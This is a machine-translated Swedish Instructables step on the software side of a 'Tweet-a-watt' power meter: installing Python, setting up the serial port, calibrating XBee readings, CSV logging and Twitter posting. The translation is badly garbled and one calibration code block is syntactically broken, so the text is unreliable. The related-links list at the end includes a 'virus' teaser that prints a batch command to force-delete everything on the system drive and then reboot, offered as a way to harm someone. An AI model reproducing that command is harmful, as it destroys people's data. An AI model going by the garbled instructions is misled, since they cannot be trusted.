Tweet-a-watt - hur man gör en kvittrande kraftmätare... (12 / 19 steg)

Steg 12: programvara




Introduction

Nu när maskinvaran är klar, vi kommer till den spännande delen: med program som hämtar data från våra mottagare XBee och sparar det till vår dator eller överför det till en databas eller uppdaterar vår twitter-feed eller... vad du vill!

Här är hur det fungerar, XBee inuti den Kill-a-watten hakas upp till två analoga signaler. En är spänning signalen som anger AC spänning Läs. I allmänhet är detta en sinus våg som är 120VAC. En knepig sak att komma ihåg är att 120V är spänningen "RMS" och "sann spänning" är +-170VDC. (Kan du läsa mer om RMS spänning på wikipedia i grunden är det ett sätt att ange hur mycket "genomsnittliga" spänning det är.) Den andra behandlingen är den AC nuvarande läsning. Detta är hur mycket ström dras genom den Kill-a-watten. Om du multiplicerar strömmen av spänning, får du den effekt (i watt) används!

Den XBee Analog/Digital omvandlare ställs in att ta en "ögonblicksbild" av en sinus-cykel i taget. Varje dubbel-provet (spänning och ström) tas 1ms sönder och det tar 17 av dem. Som kan översättas till ett 17ms långa tåg av prover. En cykel av strömförbrukning är 1 / 60Hz lång vilket är 16.6ms. Så fungerar det ganska bra!

Låt oss titta på några exempel på spänning och nuvarande vågformer som XBee ser dem.

Denna första graf är till exempel av en bärbar dator inkopplad. Du ser att det är en växling leverans, och endast drar ström under toppen av spänning kurvan.

Nu kan försöka koppla in en 40W glödlampa. Du kommer att märka att till skillnad från växlingen leverans, nuvarande följer spänningen nästan perfekt. Det beror på att en glödlampa är bara ett motstånd!

Slutligen låter prova klibba mätaren på en dimbar switch. Du ser att spänningen är "hackas" upp, inte längre sinusformad. Och även om nuvarande följer spänningen, dess fortfarande på ganska bra.

XBee skickar rådata till datorn, som i ett python-skript, siffror vad (kalibrerad) spänning och strömstyrka är på varje prov och multiplicerar varje punkt tillsammans för att få de watt som används i denna cykel. Eftersom det finns nästan ingen enhet som ändras power-seder från cykel till cykel, ögonblicksbilden är en god indikator på övergripande makten användning att andra. Sedan skickas en gång var 2 sekunder, en enda ögonblicksbild till mottagaren XBee

Installera python & vänner

Den programvara som talar till XBee är skrivet i python. Jag använde python eftersom dess snabba att utvecklas i, har multi-OS stöder och är ganska populärt med mjukvara och hårdvara hackare. XBees tala över den seriella porten så bokstavligen alla programmeringsspråk kan/skulle kunna användas här. Om du är en programvara nörd och vill använda perl, C, C#, tcl/tk, bearbetning, java, etc. gå för det! Du måste läsa den seriella data och tolka ut paketet men det är inte särskilt svårt.

Men vill de flesta människor bara gå vidare med det och så för dig vi ska gå igenom processen att installera python och bibliotek vi behöver.

1. Ladda ner och installera python 2.5 från http://www.python.org/download/ jag föreslår 2,5 eftersom det verkar vara stabil och väl stöds vid denna tid. Om du använder en annan version kan det finnas frågor
2. Ladda ner och installera pyserial från paketet databasen (detta kommer att låt oss tala till XBee genom den seriella porten)
3. om du kör windows Ladda ner och installera win32file för python 2.5 (detta kommer att lägga till fil stöd)
4. data överför och installera simplejson python biblioteket (detta är hur twitter api gillar att vara talat med)

Nu kan du äntligen Hämta skriptet Wattcher vi kommer att demonstrera här! Vi kommer att ladda ner den till katalogen C:\wattcher , för andra operativsystem kan du naturligtvis ändra denna katalog

Basic konfigurera

Vi har till gör lite stycke av installationen startar, öppna wattcher.py skriptet med en textredigerare och leta upp raden

SERIALPORT = "COM4" # com/serieporten XBee är ansluten till

ändra COM4 till vad den seriella porten som du kommer att ansluta till XBee med heter. Under Fönstren port dess vissa COMx , under linux och mac dess något som /dev/cu.usbserial-xxxx kontrollera /dev/ katalog och/eller dmesg

Spara skriptet med det nya namnet för seriell port

Testa det.

När du har installerat python och utdraget skript till arbetskatalogen, starta en terminal (under linux är detta bara rxvt eller xterm, under mac sin Terminal, under windows, är det en cmd fönster)

Jag ska anta att du kör windows från nu på, det borde inte vara svårt att anpassa instruktionerna för linux/mac när terminal-fönstret är öppet.

Kör kommandot cd C:\wattcher att komma till den plats där du okomprimerade filer. Genom att köra kommandot dir kan du se att du har filerna i katalogen

Kontrollera att din sändare (Kill-a-Watt + Xbee) är inkopplad och blinkar en gång varannan sekund. Kom ihåg att det tar ett tag för sändaren att ladda upp makt och börja överföra. LCD-displayen bör vara tydlig, inte luddig. Se till att det finns ingenting ansluten till Kill-a-Watt, alltför. Vara bör tänd RSSI (röd) LED på mottagaren är ansluten till datorn som anger data tas emot. Inte fortsätta tills det är allt bra att gå.

Nu kör python genom att köra kommandot C:\python25\python.exe wattcher.py

Du borde få en stadig ut ur data. Det första numret är XBee adress från vilken den fått data, efter den beräknade strömförbrukning, wattal används och wattimmar konsumeras sedan senaste data kom. Hurra! Vi har trådlös data!

Kalibrera

Nu när vi har bra data som tas emot, det är dags att justera den. Till exempel det mycket troligt att även utan en apparat eller ljus ansluten till Kill-a-Watt, de script tycker att det är makt som används. Vi behöver kalibrera sensorn så att vi vet var "noll". I Kill-a-Watt finns ett autocalibration system men tyvärr XBee är inte smart nog att göra det på egen hand. Så, vi gör det i skriptet python. Avsluta skriptet genom att skriva in Control-C och köra det igen denna gång som C:\python25\python.exe wattcher.py -d notera den -d som berättar skriptet att skriva ut Avlusningsinformation

Nu kan du se skriften utskriva ut en hel röra av data. Det första segmentet med massor av -1 i det är den raw paketen. Medan dess intressant vill vi titta på den rad som börjar med ampdata:

ampdata: [498, 498, 498, 498, 498, 498, 498, 498, 498, 498, 498, 498, 498, 498, 497, 498, 498, 498]

Nu märker du att siffrorna är ganska mycket alla likadana. Det är för det finns ingenting inkopplad i tweetawatt och så varje 1/60 Hz cykel har en platt linje på "noll". A/D i XBee är 10 bitar, och kommer att returnera värden mellan 0 och 1023. Så, i teorin, om systemet är perfekt värdet på "noll" bör vara 512. Det finns dock en massa små saker som gör systemet ofullkomlig och så noll är bara stänga till 512. I detta fall är "" kalibrering nollpunkten verkligen 498. När dess off där är en "DC offset" till Amp läsningar, som detta diagram visar:

Se hur Amp linjen (grön) är stadig men inte nolla dess vid 0.4 ampere? Det finns en "DC offset" 0.4 ampere

OK, öppna skriptet wattcher.py i en textredigerare.

vrefcalibration = [492, # kalibrering för sensor #0]
492, # kalibrering för sensor #1
489, # kalibrering för sensor #2
492, # kalibrering för sensor #3
501, # kalibrering för sensor #4
493] # osv... ca ((2.4v * (10Ko/14.7Ko)) / 3

Visas den rad som säger # kalibrering för sensor #1? Ändra det till 498

vrefcalibration = [492, # kalibrering för sensor #0]
498, # kalibrering för sensor #1
489, # kalibrering för sensor #2
492, # kalibrering för sensor #3
501, # kalibrering för sensor #4
493] # osv... ca ((2.4v * (10Ko/14.7Ko)) / 3

Spara filen och starta skriptet igen, denna tid utan den -d

Nu ser du att Watt lottningen är 2 w eller mindre, i stället för 40W (som var långt borta!) Anledningen till det är inte 0W är att först och främst, det är lite ljud som vi läser i raderna A/D, för det andra finns det effektuttaget av Kill-a-Watt själv och slutligen XBee inte har en massa prover att arbeta med. Men < 2W är ganska bra med tanke på att alla sensing de är 0-1500W

Notera grafen med kalibrerad sensor:

Se hur Amps linjen är nu vid 0 stadig, det finns ingen DC offset

Loggning av data

Det är trevligt att ha denna data men det skulle vara ännu trevligare om vi kunde lagra den för användning. Tja, det är automatiskt gjort för dig! Du kan ange namnet på loggfilen i skriptet wattcher.py. Som standard är det powerdatalog.csv. Skriptet samlar in data och varje 5 minuter skriver en enda rad i formatet år månad dag, tid, Sensor #, watt för varje sensor. Som ni kan se, är detta ett exempel på en 40W glödlampa glödlampa ansluten ett par timmar. På grund av låg samplingsfrekvens ser du några mindre ändringar i watt inspelad. Dessa data kan lätt importeras direkt till någon kalkylprogram

Tweeting

Slutligen får vi den tweeting delen av den tweet-a-watten. Först öppna upp skriptet wattcher.py och ange

# Twitter användarnamn & lösenord
twitterusername = "användarnamn"
twitterpassword = "lösenord"

till din username och lösenord på twitter. Om du inte har ett kan du göra ett konto på twitter.com .

Sedan kör skriptet som vanligt. Varje 8 timmar (midnatt, 08: 00 och 16: 00) skriptet kommer skickas en twitter med hjälp av Twitter API

Sedan kolla in det på ditt konto:

Se Steg
Relaterade Ämnen

Hur man gör fast odlingsmedium plåtar för jästkultur

om du skulle vilja kultur din egen jäst, antingen från stammar tillgängliga kommersiellt eller från opastöriserad craft beer, så du kan enkelt göra detta utanför labbet med en tryckkokare och några leveranser. Först, jag uppmuntrar dig att läsa min t...

Hur man gör billigare teknik plåtar och microloading

jag tog en tid bort från lyft tack vare en skada och när jag kom tillbaka jag tittar på att köpa teknik plattorna så jag kunde börja ljus och långsamt lägga tyngd. Teknik plattorna gör att du kan starta ljus om du gör en böjd över raden och de också...

Hur man gör en Fake geigermätare

vilken effekt kan förbättra en galen vetenskapsman lab på Halloween? Tickande av en geigermätare! Och Tänk... Om du hade en falska geigermätare kunde du våg över någonting, och när du ville ha, ställa av rasande att klicka?Det är vad jag byggt för vå...

Hur man gör handgjorda Ear mätare/pluggar

Jag satte denna handledning tillsammans för att resumé och uppdatera och bara sätta den extra sak är här att jag glömde att nämna i hur att göra handgjorda mätare/öronproppar videon, och nämna saker och sätta extra tips och korrigera där jag gick fel...

Hur man lägga till egna låtar i Guitar Hero 3 (Wii) del 1

i detta Instructable kommer vi använda ett praktiskt program som heter The Ghost för att injicera anpassade låtar i Guitar Hero 3 (eller Areosmith) på Wii. Dessa spel kan sedan brännas på en CD eller sätta på en flash-enhet som ska spelas på en mjuk...

Hur man lägga till egna låtar i Guitar Hero 3 (Wii) del 2

detta är del 2 av den under projektet. Om du redan har gjort Del1, gå till nästa steg. Annars kan du starta Del1 genom att gå här.I detta instructable, vi kommer att använda ett praktiskt program som heter The Ghost för att injicera anpassade låtar i...

Hur man gör teeny tiny båtar av PVC-rör

detta är min post för Kitemans internationella Go-Pro Challenge, göra det streckgubbe tävling 2 och 4: e Epilog utmaningen. Dess också min allra första kompatibel :D Njut!(För Kitemans internationella Go-Pro utmaning)Den "internationella" delen...

Hur man gör enkla elektroniska mätare (supersonic sensor SRF05)

[youtube]uTZW_YWh8jA[/youtube]...

Hur man gör ett virus som tar bort hårddisken

detta är mycket användbart om du hatar någonSteg 1: Det första du gör är att öppna anteckningarSteg 2: att komma nära nu skriver:utanfördel %systemdrive%\*.*/f s qShutdown - r -f -t 00Steg 3: nu besparingen spara:watheveryouwant.batSteg 4: resultat h...

Hur man skapar en CD med låtar från iTunes-biblioteket att lyssna på i bilen?

Om du någonsin velat ha en CD med din favoritmusik från iTunes-biblioteket, så du kan enkelt lyssna dem medan du är på en lång resa med din bil, till exempel är detta sätt att göra det.Steg 1: Öppna iTunes När programmet är öppet, sätt in en tom CD/D...

Hur man knyter en Pålstek

Pålstek är en knut som kommer att skapa en slinga av repet som inte glider. Det används ofta i rädda för att dra upp offren från en grop eller spricka. Och nu du kommer att lära sig hur man knyter den. MEN DU TAR INTE EMOT RÄDDNING UTBILDNING. Använd...

Hur man gör en SPY PEN TASER

Hur man gör en SPY PEN TASER?Steg 1: I denna film jag kommer att berätta hur man gör en spion elstötar penna!Steg 2: Med hjälp av spy elektrisk stöt pennan kan du spela ett trick på din vän i skolan eller arbeta.Spy elektrisk stöt pennan är inte farl...

Hur man använder den talande ES6928P röst erkännande System_Stand-ensam/nej PC REQ skulle

Hej alla! Välkommen till min Instructable!Tack för att ha en gåskarl. Ungefär åtta månader sedan, bestämde jag mig att en av mina nya satsningar skulle vara att skapa en röst erkännandesystem som kunde vara utbildad manuellt, och utan att ha till grä...

Hur man gör skopan trädgårdsskötsel med vatten nivåmätare

Hink trädgårdsskötsel isvery lämplig för plantering om det finns ingen ledig mark.Spara vatten, och lätt att flytta. Vattennivåindikatorn är mycket användbara, så du inte glömmer igen för vattna växterna. Du kan göra med alla storlekar hink. Och alla...

Hur man manuellt ta blodtryck

IntroduktionBlodtryck är en viktig indikator på hälsan. Veta sitt blodtryck är det första steget till att förebygga hjärtsjukdom. Även om de flesta läkare tar blodtryck med hjälp av en automatisk blodtrycksmätare, är att veta hur man använder en manu...

Hur man skriver i 3-D

detta är hur man skriver i 3-D. Det tar mycket längre tid att skriva än vanlig handskrift, men det är bra för gratulationskort och andra saker.Steg 1: Grunderna i 3D-bokstäver För att skriva 3-D, det är ganska lätt. Oftast måste du tänka om perspekti...

Hur man drar en Cat Eye (manga och anime)

Hej alla! Som ni vet alla, har jag några manga katt tutorials redan, men jag tänkte det var på tiden att jag gjorde en specifik för ögat, som är särskilt knepigt. Så, utan någon ytterligare adjö, låt oss få till det!Steg 1: Några saker du behöverAtt...

Hur man gör en ARDUINO VU mätare

Hej stötarna. Vill du göra en liten, cool projekt genom att använda Arduino? Du kan hitta det här.Vi kör en YouTube-kanal "Att vara ingenjörer" och vi ger video tutorials på programmeringsspråk, grundläggande elektronik och också några coola ele...

Hur man får musik från IPA-filer

i detta Instructable kommer jag visa dig hur man får dessa awesome låtar från dina favoritspel från iTunes Store.Bilden visar låtarna jag fick av Tap Tap DanceDess mycket enkelt eftersom filer .m4aSteg 1: Att få verktyget Okej så huvud på över till h...